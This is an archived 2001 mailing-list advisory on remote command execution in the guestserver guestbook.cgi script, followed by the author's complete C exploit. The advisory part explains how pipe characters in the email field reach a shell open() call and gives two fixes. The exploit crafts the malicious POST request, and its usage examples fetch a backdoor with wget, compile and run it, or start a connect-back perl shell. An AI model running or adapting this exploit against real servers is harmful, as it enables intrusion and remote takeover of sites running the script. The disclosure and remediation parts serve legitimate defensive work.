OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: fish stiqz (fishANALOG.ORG)
Date: Mon Jan 29 2001 - 02:24:55 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    *** Remote Command execution vulnerability in Lars Ellingsen's
    *** guestserver.cgi found at http://www.guestserver.com/
    *** Exploit code at bottom.
    *** by: fish stiqz <fishanalog.org>

    _____________________________________________________________________
    Overview:

    From http://www.stud.ntnu.no/~larsell/guestbook/:

    > Guestserver is a guestbook system that enables you to have your
    > own guestbook on your homepage, without having all the scripts
    > and data located on a completely different server.

    The maintainer was sent a few emails about this when I first discovered
    this bug but did not respond. From the dates on the webpage, I believe
    that this program has been abandoned. It would be wise for websites that
    use it to just stop using it altogether.

    guestbook.cgi is vulnerable to a remote command execution bug. This bug
    is caused by an incomplete filter of the email variable from the http
    POST. The email variable is first filtered for HTML tags then commas,
    semi-colons, and colons as seen below:

    line 282:
            $FORM{'email'} =~ s/\<[^\>]*\>//ig;
            $FORM{'email'} =~ s/\<//g;
            $FORM{'email'} =~ s/\>//g;
            $FORM{'email'} =~ s/\"/_/g;

            if ($FORM{'email'} !~ /^[^\]*[\][^\]*?\.[^\]*$/g) {
                    $FORM{'email'} = undef;
            }

    line 360:
            &mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~ /[\,\:\;]/));

    Also, the email must be in "normal" form as required below (and above).

    line 957:
            if ($FORM{'email'} =~ /.*?\.*?\..*?/) {
                open (MAIL, "|$mailprogram $FORM{'email'}");

    _____________________________________________________________________
    Limitations:

    First, the vulnerable open call is not made unless the guestserver.cgi is
    configured to mail the guest when he/she posts to the guestbook.

    The server must have these lines in the guestbook.config file:
            <-guestbook.mailto_guest-> # Yes = 1, No = 0
            1

    Next, the email variable is unset if there is a colon in it, so we cannot
    simply send ourselves an xterm since the display string needs to contain
    a colon. (ie: "xterm -ut -display 127.0.0.1:0.0")

    We must also keep the email variable in "normal" email form.
    So how do we exploit this?

    _____________________________________________________________________
    Exploit:

    The | (pipe) character is not filtered! So we can construct an email
    variable with commands delimited by |'s and the cgi will happily execute
    these commands if it looks like a "normal" email address. An example
    email variable that would execute "bleh" on remote server (check
    error_log): "| bleh | bobhax0r.com". This would result in the
    execution of "/bin/sh -c <mail program> | bleh | bobhax0r.com"
    on the remote server. If you look in apache's error_log you will see
    the following entry:

            sh: bleh: command not found
            sh: bobhax0r.com: command not found

    An attacker can use this to his/her advantage to possibly get a backdoor
    and run it on the server, thus gaining remote access to the server running
    the cgi script.

    * Exploit code is at the bottom.

    _____________________________________________________________________
    Solutions:

    1) Quick and Dirty:
            Disallow emailing the guest by setting the <-guestbook.mailto_guest->
            directive to 0 in guestbook.config.

    2) Better:
            Completely filter all control characters from the email variable
            before the open call.

    _____________________________________________________________________
    The Code:

    /*
     * guestrook.c - fish stiqz <fishanalog.org> 11/18/2001.
     *
     * - rook:v: deprive of by deceit; "He swindled me out of my inheritance"
     *
     * Remote exploit for guestbook.cgi version 4.12 (below?).
     * guestbook.cgi can be found at http://www.guestserver.com/
     *
     * exploits a traditional open call in a perl cgi script,
     * open (MAIL, "|$mailprogram $FORM{'email'}");
     * the address is filtered for semi-colons, colons, commas, and less-than
     * and greater than signs, and must be in **.* form.
     *
     * The cgi must be configured to send mail to the guest.
     * the line in guestbook.config must be:
     * <-guestbook.mailto_guest-> # Yes = 1, No = 0
     * 1
     * This config looks to be pretty common.
     *
     * Because the host environment must already have a perl interpreter
     * installed, using a perl backdoor would probably be the most portable
     * way to exploit this. The example in the usage message presents another
     * way to accomplish it, with the well known socdmini.c. The sleep
     * call is necessary to ensure that the program has finished
     * downloading before the vulnerable system attempts to compile it.
     * It may also be necessary to execute each command individually.
     * I'm sure there are a million other ways to exploit this, since you
     * can specifiy a string of commands to execute. Use your imaginiation.
     *
     * Thats pretty much it. Have fun.
     *
     * shoutouts: nerile <-- 1337
     * trey, kiam, sudo, kilmor, vertigo7, quanta,
     * #code <-- rules (not ef/dal),
     * analog.org, async.org
     *
     * #TelcoNinjas == #smurfkiddies.
     */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <time.h>
    #include <ctype.h>

    #define HTTP_PORT 80

    extern int errno;

    /*
     * function prototypes.
     */
    int get_ip(struct in_addr *, char *);
    int tcp_connect(char *, unsigned int);
    void *Malloc(size_t);
    void *Realloc(void *, size_t);
    char *Strdup(char *);
    void send_packet(int, char *, char *);
    char *convert_command(char *);
    void clear_screen(FILE *);
    void usage(char *);
    char *random_string(void);

    /*
     * Error cheq'n wrapper for malloc.
     */
    void *Malloc(size_t n)
    {
        void *tmp;

        if((tmp = malloc(n)) == NULL)
        {
            fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
            exit(EXIT_FAILURE);
        }

        return tmp;
    }

    /*
     * Error cheq'n realloc.
     */
    void *Realloc(void *ptr, size_t n)
    {
        void *tmp;

        if((tmp = realloc(ptr, n)) == NULL)
        {
            fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
            exit(EXIT_FAILURE);
        }

        return tmp;
    }

    /*
     * Error cheq'n strdup.
     */
    char *Strdup(char *str)
    {
        char *s;

        if((s = strdup(str)) == NULL)
        {
            fprintf(stderr, "strdup failed! exiting...\n");
            exit(EXIT_FAILURE);
        }

        return s;
    }

    /*
     * translates a host from its string representation (either in numbers
     * and dots notation or hostname format) into its binary ip address
     * and stores it in the in_addr struct passed in.
     *
     * return values: 0 on success, != 0 on failure.
     */
    int get_ip(struct in_addr *iaddr, char *host)
    {
        struct hostent *hp;

    #ifdef DEBUG
        printf("entered get_ip with %s\n", host);
    #endif

        /* first check to see if its in num-dot format */
        if(inet_aton(host, iaddr) != 0)
            return 0;

    #ifdef DEBUG
        printf("inet_aton failed\n");
        printf("trying gethostbyname...\n");
    #endif

        /* next, do a gethostbyname */
        if((hp = gethostbyname(host)) != NULL)
        {
            if(hp->h_addr_list != NULL)
            {
                memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
                return 0;
            }
            return -1;
        }

        return -1;
    }

    /*
     * initiates a tcp connection to the specified host (either in
     * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
     * to the host's tcp port.
     *
     * return values: != -1 on success, -1 on failure.
     */
    int tcp_connect(char *host, unsigned int port)
    {
        int sock;
        struct sockaddr_in saddress;
        struct in_addr *iaddr;

        iaddr = Malloc(sizeof(struct in_addr));

        /* write the hostname information into the in_addr structure */
        if(get_ip(iaddr, host) != 0)
            return -1;

    #ifdef DEBUG
        printf("attempting connect to %s\n", inet_ntoa(*iaddr));
    #endif

        saddress.sin_addr.s_addr = iaddr->s_addr;
        saddress.sin_family = AF_INET;
        saddress.sin_port = htons(port);

        /* create the socket */
        if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
            return -1;
            
        /* make the connection */
        if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
        {
            close(sock);
            return -1;
        }

        /* everything succeeded, return the connected socket */
        return sock;
    }

    /*
     * generates a string of 6 random characters.
     * - guestbook.cgi wont accept the same message twice (or so it seems),
     * so we need to randomize it a bit.
     */
    char *random_string(void)
    {
        int i;
        char *s = Malloc(7);

        srand(time(NULL));
        for(i = 0; i < 6; i++)
            s[i] = (rand() % (122 - 97)) + 97;

        s[i] = 0x0;
        return s;
    }

    /*
     * send the request to the server.
     * the remote_command needs to be coverted before sent here.
     * semi-colon's are filtered out and will not work!
     */
    void send_packet(int sock, char *conv_remote_command, char *target)
    {
        char *packet_buf;
        char *payload_buf;
        char *r_string;
        char header_fmt[] =
            "POST /cgi-bin/guestbook.cgi HTTP/1.0\n"
            "Connection: close\n"
            "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
            "Host: %s\n"
            "Content-type: application/x-www-form-urlencoded\n"
            "Content-length: %d\n\n%s";

        char payload_fmt[] =
            "name=%s&SIGN=Sign+it%%21&email=%%7C%s%%7Cbleh%%40bleh.com"
            "&location=Germany&message=telconinjas+suck";
            
        r_string = random_string();

        /* create space for the payload and commands */
        payload_buf = Malloc((sizeof(payload_fmt) + 1 +
                              strlen(conv_remote_command)) *
                             sizeof(char));
        sprintf(payload_buf, payload_fmt, r_string, conv_remote_command);
        free(r_string);

        /* create space for the headers, payload, and commands */
        packet_buf = Malloc((sizeof(header_fmt) + 1 + strlen(payload_buf) +
                     strlen(conv_remote_command)) * sizeof(char));
        sprintf(packet_buf, header_fmt,
                target, strlen(payload_buf), payload_buf);

    #ifdef DEBUG
        printf("\nSending data:\n%s\n", packet_buf);
    #endif

        if(write(sock, packet_buf, strlen(packet_buf)) == -1)
        {
            perror("write");
            exit(EXIT_FAILURE);
        }

        close(sock);
        return;
    }

            
    /*
     * converts a command from "command1 arg1 arg2 | command2 arg1 arg2"
     * to "command1+arg1+arg2+%7C+command2+arg1+arg2"
     */
    char *convert_command(char *input)
    {
        int i;
        char *postfix;
        char *command = Strdup(input);
        char meta;

        for(i = 0; command[i] != 0x0; i++)
        {
            if(!isalnum(command[i]) && command[i] != '.' && command[i] != '-')
            {
                if(command[i] == ' ')
                    command[i] = '+';

                else
                {
                    meta = command[i];
                    
                    postfix = Strdup(&(command[i]) + 1);
                    command = Realloc(command, (strlen(command) + 3) *
                                      sizeof(char));
                    
                    command[i] = 0x0;
                    sprintf(&command[i], "%%%.2X", meta);
                    strcat(command, postfix);
                    
                    free(postfix);
                }
            }
        }

        return command;
    }

    /*
     * clears the screen. lame.
     */
    void clear_screen(FILE *fp)
    {
        fprintf(fp, "%c[H%c[2J", 0x1b, 0x1b);
        return;
    }

    /*
     * prints usage and then exits.
     */
    void usage(char *p)
    {
        clear_screen(stderr);
        fprintf(stderr,
                "\nguestbook.cgi exploit by fish stiqz <fishanalog.org>\n"
                "discovered and exploited on 01/18/2001\n\n"
                "usage: %s <target> \"command1 args | command2 args\"\n\n"
                "* commands MUST be separated by |'s\n"
                "* commands CANNOT contain any of these chars: ;:,<>\n"
                "* Example: %s target.com \"wget host.com/socdmini.c -P /tmp|\\\n"
                " |sleep 5|gcc -o /tmp/hax /tmp/socdmini.c|/tmp/hax\"\n"
                "* you may want to separate the commands into one per request..\n"
                "* Example: %s target.com \"wget host.com/connect-back.pl"
                " -P /tmp\"\n"
                " %s target.com \"perl /tmp/connect-back.pl\"\n"
                "* you get the idea, use your imagination.\n\n",
                p, p, p, p);
        exit(EXIT_FAILURE);
    }

    int main(int argc, char **argv)
    {
        char *target;
        char *commands;
        char *conv_commands;
        int sock;

        if(argc != 3)
            usage(argv[0]);

        target = Strdup(argv[1]);
        commands = Strdup(argv[2]);

        conv_commands = convert_command(commands);
        free(commands);

    #ifdef DEBUG
        printf("\nconv_commands:\n%s\n", conv_commands);
    #endif

        printf("Connecting to %s...\n", target);
        if((sock = tcp_connect(target, HTTP_PORT)) == -1)
        {
            perror("tcp_connect");
            return EXIT_FAILURE;
        }
        printf("Connected, sending payload...\n");
        send_packet(sock, conv_commands, target);
        printf("Payload sent. Go store lots of warez!#*!%%!#\n"
               "#TelcoNinjas == #smurfkiddies\n");

        free(conv_commands);
        free(target);

        return EXIT_SUCCESS;
    }

    --
    +---------------------------------------------------------------------------+
    |  fish stiqz <fishanalog.org>    <*)))-<     ** yum, yum, delicious **    |
    +---------------------------------------------------------------------------+